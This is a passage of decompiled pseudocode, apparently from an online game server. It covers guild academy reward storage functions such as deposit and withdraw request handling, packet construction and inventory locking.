7) = nGuildNo; *(_BYTE *)(v20 + 11) = 1; *(_BYTE *)(v20 + 12) = 0; *(_BYTE *)(v20 + 13) = 2; *(_DWORD *)(v20 + 33) = *(_DWORD *)(deposit + 8); v21 = storage; *(_DWORD *)(v20 + 37) = *(_DWORD *)(deposit + 12); *(_QWORD *)(v20 + 41) = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v21); v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); *(_DWORD *)(v20 + 15) = *(_DWORD *)v22; *(_DWORD *)(v20 + 19) = *(_DWORD *)(v22 + 4); *(_DWORD *)(v20 + 23) = *(_DWORD *)(v22 + 8); *(_DWORD *)(v20 + 27) = *(_DWORD *)(v22 + 12); *(_WORD *)(v20 + 31) = -1; *(_BYTE *)(v20 + 14) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, (const void *)v20, 0x30u); BYTE7(tempring.storage_cen) = *(_BYTE *)(v20 + 48); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member( &gldacademyrewardstoramanager, &tempring); v25 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"; } else { v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v23 + 40))(v23, *(_WORD *)(deposit + 6)); *(_WORD *)gpp.pp_Buffer = 12338; *(_WORD *)(deposit + 16) = 6120; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v24 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v24 + 12))(v24, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : Packet Too Long", 12); } v25 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"; } --funcallanalizer.fca_stackpoint; v31 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v25); __security_check_cookie((unsigned int)&nGuildNo ^ v30); } //----- (0045EB80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreFill(void *sp, unsigned int inven) { void *v2; // esi@1 unsigned int v3; // ebx@2 unsigned __int16 *v4; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v5; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v6; // ecx@7 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v7; // eax@9 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v8; // edi@9 unsigned __int8 v9; // al@13 v2 = sp; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreFill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreFill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2136))(v2) ) { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2136))(v2) == 1 ) v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2140))(v2); else v3 = inven; } else { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2072))(v2); } v4 = (unsigned __int16 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2108))(v2); v5 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v3, v4); if ( v5 ) { v6 = v5; } else { if ( gldacademyrewardstoramanager.baseclass_0.l_Finger.empty == -1 || (*((_WORD *)v2 + 34243) = gldacademyrewardstoramanager.baseclass_0.l_Finger.empty, v7 = gldacademyrewardstoramanager.baseclass_0.vfptr->l_AllocZ( (List *)&gldacademyrewardstoramanager, *((_WORD *)v2 + 34243)), (v8 = v7) == 0) ) { ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError(v2, 6105); goto LABEL_13; } v7->garse_Guild = v3; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetActivate(v7); v6 = v8; } GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_StoreItem( v6, (PROTO_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_OPEN_ACK *)inven, (#734 *)v2); LABEL_13: v9 = *(_BYTE *)(inven + 14); if ( v9 < 3u ) *((_BYTE *)v2 + v9 + 68490) = 1; else AssertClass::ac_AssertFail(&shineassert, "so_ply_GuildAcademyRewardStoreFill : nOpenType Error", v9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreFill"); } //----- (0045ECF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@9 unsigned int v8; // ebx@11 int v9; // eax@12 unsigned __int16 *v10; // eax@16 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v11; // ebp@16 int v12; // eax@22 char v13; // al@29 int v14; // eax@30 int v15; // edi@31 int v16; // ebp@31 int v17; // eax@31 int v18; // eax@31 char *v19; // edi@31 __int16 v20; // ax@31 int v21; // eax@31 char v22; // al@31 ZoneBaseSession *v23; // eax@32 InventoryLocking::InventoryCellLock *v24; // eax@33 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v26; // [sp+1Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S5_43 & 1) == 0; v6 = gpp.pp_Buffer; v26 = 0; *(_WORD *)gpp.pp_Buffer = 12336; if ( v5 ) { _S5_43 |= 1u; cmc_46.cmc_AllowMode = 70; atexit(_E6_29); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_46.cmc_AllowMode) ) { *((_WORD *)v6 + 5) = 6114; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { *((_WORD *)v6 + 5) = 6113; goto LABEL_5; } v8 = netcmd; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2136))(v4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2136))(v4) != 1 ) goto LABEL_16; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2140))(v4); } else { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4); } netcmd = v9; LABEL_16: v10 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2108))(v4); v11 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, netcmd, v10); if ( !v11 ) { *((_WORD *)v6 + 5) = 6115; LABEL_18: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"); return; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4) ) { *((_WORD *)v6 + 5) = 6117; goto LABEL_18; } if ( *(_DWORD *)(v8 + 6) || *(_DWORD *)(v8 + 2) ) { if ( *(_QWORD *)(v8 + 2) > GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v11) ) *(_QWORD *)(v8 + 2) = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v11); if ( *(_QWORD *)(v8 + 2) ) { v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v16 = *(_DWORD *)v15; v17 = (*(int (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 2004))( v4, *(_DWORD *)(v8 + 2), *(_DWORD *)(v8 + 6), 1); LOWORD(v18) = AxialListNearGateFind::alngf_Gethandle(v17); (*(void (__thiscall **)(int, int))(v16 + 64))(v15, v18); v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13445; *((_DWORD *)v19 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v20 = *((_WORD *)v4 + 2); *(_DWORD *)(v19 + 10) = netcmd; *((_WORD *)v19 + 1) = v20; *(_DWORD *)(v19 + 14) = *(_DWORD *)(v8 + 2); *(_DWORD *)(v19 + 18) = *(_DWORD *)(v8 + 6); v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); *((_WORD *)v19 + 4) = AxialListNearGateFind::alngf_Gethandle(v21); v22 = ProtocolPacket::pp_SetPacketLen(&gpp, 22); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v22, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 22) ) { v23 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v23); } v24 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); InventoryLocking::InventoryCellLock::icl_IncIndex(v24); } else { *((_WORD *)v6 + 5) = 6116; v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 12); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v13, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12) ) { v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v4, &gpp); } } } v26 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0045F080) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@9 unsigned int v8; // ebx@10 int v9; // eax@11 unsigned __int16 *v10; // eax@15 unsigned __int64 v11; // qax@19 int v12; // edx@20 int v13; // eax@23 int v14; // edi@24 int v15; // eax@24 int v16; // eax@24 char *v17; // edi@24 int v18; // eax@24 ZoneBaseSession *v19; // eax@26 InventoryLocking::InventoryCellLock *v20; // eax@27 char *v21; // [sp-4h] [bp-28h]@6 int v22; // [sp+1Ch] [bp-8h]@0 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S7_48 & 1) == 0; v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12338; if ( v5 ) { _S7_48 |= 1u; cmc_47.cmc_AllowMode = 70; atexit(_E8_37); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_47.cmc_AllowMode) ) { *((_WORD *)v6 + 5) = 6562; goto LABEL_5; } if ( !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { v8 = netcmd; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2136))(v4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2136))(v4) != 1 ) goto LABEL_15; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2140))(v4); } else { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4); } netcmd = v9; LABEL_15: v10 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2108))(v4); if ( GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, netcmd, v10) ) { LODWORD(v11) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1072))(v4); if ( *(_QWORD *)(v8 + 2) > v11 ) { *(_DWORD *)(v8 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1072))(v4); *(_DWORD *)(v8 + 6) = v12; } if ( *(_QWORD *)(v8 + 2) ) { v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v15 = (*(int (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 2004))( v4, *(_DWORD *)(v8 + 2), *(_DWORD *)(v8 + 6), -1); LOWORD(v16) = AxialListNearGateFind::alngf_Gethandle(v15); (*(void (__thiscall **)(int, int))(v22 + 64))(v14, v16); v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13447; *((_DWORD *)v17 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v17 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v17 + 10) = netcmd; *(_DWORD *)(v17 + 14) = *(_DWORD *)(v8 + 2); *(_DWORD *)(v17 + 18) = *(_DWORD *)(v8 + 6); v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); *((_WORD *)v17 + 4) = AxialListNearGateFind::alngf_Gethandle(v18); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v19 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v19); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ : Packet Too Long", 22); } v20 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); InventoryLocking::InventoryCellLock::icl_IncIndex(v20); goto LABEL_28; } *((_WORD *)v6 + 5) = 6564; } else { *((_WORD *)v6 + 5) = 6563; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ : Packet Too Long", 12); } LABEL_28: v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; goto LABEL_29; } *((_WORD *)v6 + 5) = 6561; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ : Packet Too Long", 12); v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; } LABEL_29: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); } //----- (0045F380) -------------------------------------------------------- int __thiscall Name4::operator__(Name4 *this, Name4 *nm) { return *(_DWORD *)&this->n4_name[0] != *(_DWORD *)&nm->n4_name[0] || *(_DWORD *)&this->n4_name[4] != *(_DWORD *)&nm->n4_name[4] || *(_DWORD *)&this->n4_name[8] != *(_DWORD *)&nm->n4_name[8] || *(_DWORD *)&this->n4_name[12] != *(_DWORD *)&nm->n4_name[12]; } //----- (0045F3B0) -------------------------------------------------------- void __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this, unsigned int lot) { ((void (__stdcall *)(_DWORD, _DWORD))this->iic_AttrProc->vfptr->iac_SetLot)(&this->iic_Item.iti_itemstruct, lot); } //----- (0045F3D0) -------------------------------------------------------- char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int guild) { return this->garse_Guild == guild; } //----- (0045F3E0) -------------------------------------------------------- void __thiscall MoveManager::MoveManager(DiceTaiSai *this) { ; } //----- (0045F3F0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v1; // esi@1 v1 = this; ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(&this->garse_Storage); v1->garse_Guild = 0; } //----- (0045F410) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int gld) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // esi@1 v2 = this; ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(&this->garse_Storage); v2->garse_Guild = gld; } //----- (0045F440) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_Deactivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { this->garse_Activate = 0; } //----- (0045F450) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetActivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { this->garse_Activate = 1; } //----- (0045F480) -------------------------------------------------------- #error "45F480: undefined or illegal type '#734' (funcsize=76)" //----- (0045F560) -------------------------------------------------------- unsigned __int64 __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { return this->garse_Cen; } //----- (0045F570) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned __int64 set_cen) { this->garse_Cen = set_cen; } //----- (0045F590) -------------------------------------------------------- int __thiscall PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_BYTE *)(this + 11) = *(_BYTE *)(a2 + 11); *(_BYTE *)(this + 12) = *(_BYTE *)(a2 + 12); *(_BYTE *)(this + 13) = *(_BYTE *)(a2 + 13); *(_BYTE *)(this + 14) = *(_BYTE *)(a2 + 14); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_WORD *)(this + 31) = *(_WORD *)(a2 + 31); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_DWORD *)(this + 37) = *(_DWORD *)(a2 + 37); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_DWORD *)(this + 37) = *(_DWORD *)(a2 + 37); *(_DWORD *)(this + 41) = *(_DWORD *)(a2 + 41); *(_DWORD *)(this + 45) = *(_DWORD *)(a2 + 45); return result; } //----- (0045F620) -------------------------------------------------------- char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, SHINE_INVEN_SLOT_INFO slotinfo) { int v2; // eax@1 char result; // al@2 v2 = ((int (__stdcall *)(_DWORD))this->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell)(slotinfo.inven.Inven & 0x3FF); if ( v2 && *(_DWORD *)&slotinfo == *(_DWORD *)v2 && slotinfo.ItmeReg.binary._bf4 == *(_DWORD *)(v2 + 4) && *(_WORD *)(v2 + 8) == slotinfo.ItemID ) result = (*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)(v2 + 112) + 24))(*(_DWORD *)(v2 + 112), v2 + 8) == slotinfo.Lot; else result = 0; return result; } //----- (0045F670) -------------------------------------------------------- int __thiscall PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_BYTE *)(this + 11) = *(_BYTE *)(a2 + 11); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_BYTE *)(this + 28) = *(_BYTE *)(a2 + 28); *(_DWORD *)(this + 29) = *(_DWORD *)(a2 + 29); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_DWORD *)(this + 37) = *(_DWORD *)(a2 + 37); *(_DWORD *)(this + 41) = *(_DWORD *)(a2 + 41); *(_DWORD *)(this + 45) = *(_DWORD *)(a2 + 45); *(_DWORD *)(this + 49) = *(_DWORD *)(a2 + 49); *(_DWORD *)(this + 53) = *(_DWORD *)(a2 + 53); *(_DWORD *)(this + 57) = *(_DWORD *)(a2 + 57); memcpy((void *)(this + 61), (const void *)(a2 + 61), 0x6Fu); return result; } //----- (0045F710) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewordSrorageItemInfoCmd(void *this, int iteminfo, char type) { void *v3; // esi@1 char v4; // dl@3 char v5; // cl@3 int v6; // edx@3 int v7; // ecx@3 int v8; // edx@3 int v9; // ecx@3 int v10; // edx@3 int v11; // ecx@3 int v12; // edx@3 int v13; // eax@3 int v14; // eax@5 char v15; // cl@7 char v16; // dl@7 int v17; // ecx@7 int v18; // edx@7 int v19; // ecx@7 int v20; // edx@7 int v21; // ecx@7 int v22; // edx@7 int v23; // ecx@7 int v24; // edx@7 int *DepositPacket; // [sp+4h] [bp-58h]@1 int v26; // [sp+8h] [bp-54h]@3 int v27; // [sp+Ch] [bp-50h]@3 int DepositPacketBuffer; // [sp+10h] [bp-4Ch]@3 int v29; // [sp+14h] [bp-48h]@3 int v30; // [sp+18h] [bp-44h]@3 int v31; // [sp+1Ch] [bp-40h]@3 int v32; // [sp+20h] [bp-3Ch]@3 __int16 v33; // [sp+24h] [bp-38h]@3 char v34; // [sp+26h] [bp-36h]@3 int v35; // [sp+27h] [bp-35h]@3 int v36; // [sp+2Bh] [bp-31h]@3 int v37; // [sp+2Fh] [bp-2Dh]@3 int v38; // [sp+33h] [bp-29h]@3 unsigned int v39; // [sp+58h] [bp-4h]@1 v39 = (unsigned int)&DepositPacket ^ __security_cookie; v3 = this; if ( iteminfo ) { if ( type ) { if ( type != 1 ) return; LOWORD(DepositPacketBuffer) = DepositPacketBuffer & 0x3FF | 0x9800; v15 = *(_BYTE *)iteminfo; DepositPacket = &DepositPacketBuffer; LOWORD(DepositPacketBuffer) = DepositPacketBuffer & 0xFC75 | 0x75; v16 = *(_BYTE *)(iteminfo + 1); BYTE2(DepositPacketBuffer) = v15; v17 = *(_DWORD *)(iteminfo + 2); BYTE3(DepositPacketBuffer) = v16; v18 = *(_DWORD *)(iteminfo + 6); v29 = v17; v19 = *(_DWORD *)(iteminfo + 10); v30 = v18; v20 = *(_DWORD *)(iteminfo + 14); v31 = v19; LOWORD(v19) = *(_WORD *)(iteminfo + 18); v32 = v20; LOBYTE(v20) = *(_BYTE *)(iteminfo + 20); v33 = v19; v21 = *(_DWORD *)(iteminfo + 21); v34 = v20; v22 = *(_DWORD *)(iteminfo + 25); v35 = v21; v23 = *(_DWORD *)(iteminfo + 29); v36 = v22; v24 = *(_DWORD *)(iteminfo + 33); v37 = v23; v27 = 0; v26 = 69; v38 = v24; if ( !ProtocolPacket::pp_SetPacketLen((ProtocolPacket *)&DepositPacket, 39) ) goto LABEL_4; v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); } else { LOWORD(DepositPacketBuffer) = DepositPacketBuffer & 0x3FF | 0x9800; v4 = *(_BYTE *)iteminfo; DepositPacket = &DepositPacketBuffer; LOWORD(DepositPacketBuffer) = DepositPacketBuffer & 0xFC73 | 0x73; v5 = *(_BYTE *)(iteminfo + 1); BYTE2(DepositPacketBuffer) = v4; v6 = *(_DWORD *)(iteminfo + 2); BYTE3(DepositPacketBuffer) = v5; v7 = *(_DWORD *)(iteminfo + 6); v29 = v6; v8 = *(_DWORD *)(iteminfo + 10); v30 = v7; v9 = *(_DWORD *)(iteminfo + 14); v31 = v8; LOWORD(v8) = *(_WORD *)(iteminfo + 18); v32 = v9; LOBYTE(v9) = *(_BYTE *)(iteminfo + 20); v33 = v8; v10 = *(_DWORD *)(iteminfo + 21); v34 = v9; v11 = *(_DWORD *)(iteminfo + 25); v35 = v10; v12 = *(_DWORD *)(iteminfo + 29); v13 = *(_DWORD *)(iteminfo + 33); v36 = v11; v27 = 0; v26 = 69; v37 = v12; v38 = v13; if ( !ProtocolPacket::pp_SetPacketLen((ProtocolPacket *)&DepositPacket, 39) ) { LABEL_4: AssertClass::ac_AssertFail( &shineassert, "ShineGuildAcademyRewardStorageItemInfoZonRng::lid_Call : Packet Too Long", 39); return; } v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); } (*(void (__thiscall **)(int, void *, int **))(*(_DWORD *)v14 + 12))(v14, v3, &DepositPacket); } } //----- (0045F8F0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 641E7C: using guessed type int (__stdcall *List_GuildAcademyRewardStorage__GuildAcademyRewardStorageElement____vftable_[3])(__int16 hnd); //----- (0045F910) -------------------------------------------------------- void __thiscall ItemTotalInformation::iti_clear(ItemTotalInformation *this) { *(_DWORD *)&this->iti_registnum.binary.gap0[0] = -1; this->iti_registnum.binary._bf4 = -1; memset(&this->iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&this->iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(this->iti_itemstruct.itemattr.binditem.portal[9].y) = 